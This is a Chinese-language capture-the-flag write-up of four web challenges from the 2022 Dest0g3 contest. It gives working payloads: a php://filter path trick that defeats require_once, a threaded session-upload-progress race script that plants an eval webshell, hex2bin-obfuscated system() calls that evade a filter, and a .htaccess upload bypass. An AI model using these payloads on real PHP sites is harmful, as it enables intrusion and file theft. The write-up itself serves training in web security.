2022Dest0g3 520迎新赛web
周末在赶ddl,后面做了四道,剩下的题下个月争取全部复现。
phpdest
是一道原题WMCTF2020 Make PHP Great Again。
参考WMCTF2020 Make PHP Great Again WP
打开环境,给出源码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
看到require_once第一反应是文件包含类型的题目,尝试多种方法没有试出来。
百度找到payload为
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
得到flag。
具体原理可见php源码分析 require_once 绕过不能重复包含文件的限制
还有一种非预期解,利用session.upload_progress文件包含,这里直接粘了博客给的脚本。
import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://29990843-ca1b-41bd-b564-78e2b6b86557.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://29990843-ca1b-41bd-b564-78e2b6b86557.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data)
if '1.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
EasyPHP
启动环境,给出源码。
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>
主要关注
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
set_error_handler函数是在报错时会触发,用于创建运行期间的用户自己的错误处理方法。
这题题目就变为了如何触发$fl4g的报错,观察可控变量,发现仅可控制$dest0g3的值,而$dest0g3与$fl4g进行了一次.拼接,于是postctf[]=""
,触发报错,得到flag:Dest0g3{90d18bdb-ecff-4d17-a800-9093f1bd061c}。
SimpleRCE
找到一些进行waf的blog
https://blog.csdn.net/qq_51577576/article/details/122481513
https://blog.csdn.net/yuermon/article/details/113445465
https://blog.csdn.net/Reme_mber/article/details/124416941
最初想用base_convert(),但是无法对一些特殊符号编码。
发现可以用hex2bin()进行绕过,ls发现只有index.php,尝试/flag,发现成功读取
最后payload为
aaa=hex2bin('73797374656d')(hex2bin('636174202f2a')); #解码为:system(cat /*)
aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #解码为;system(cat /flag)
得到flag: Dest0g3{a6b1fc53-4007-4a40-a90f-59f5a0ddd287}。
funny_upload
搜集到的一些有关资料:
https://blog.csdn.net/weixin_43940853/article/details/103749357
https://blog.csdn.net/weixin_39996141/article/details/111282275
https://www.cnblogs.com/riginal/p/11314565.html
https://www.136.la/jingpin/show-122549.html
https://blog.csdn.net/solitudi/article/details/116666720
首先打开环境,发现前端有JS代码检测后缀
function Checkfiles()
{
var fup = document.getElementById('file');
var fileName = fup.value;
var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
{
return true;
}
else
{
alert("这个文件不好,我不喜欢");
return false;
}
}
可以用burpsuite抓包改后缀,也可以直接把js代码删掉绕过。
尝试传php文件,发现后端有检测,绕过方法一般是利用服务器的解析漏洞,发现后端为Apache,利用.htaccess即可,重新尝试上传,发现<?
也被ban掉。最开始想用<script>
标签绕过,发现php版本过高,无法利用。然后尝试用base64编码绕过,在.htaccess文件中进行解码,发现无法调用一些命令,RCE失败。
最后payload
AddType application/x-httpd-php .jpg
php_value auto_append_file /flag
传入1.jpg(空文件即可),传入.htaccess,访问1.jpg即可得到flag。
得到flag:Dest0g3{b08c9b07-9235-4f1d-b6c9-53499fdbad03}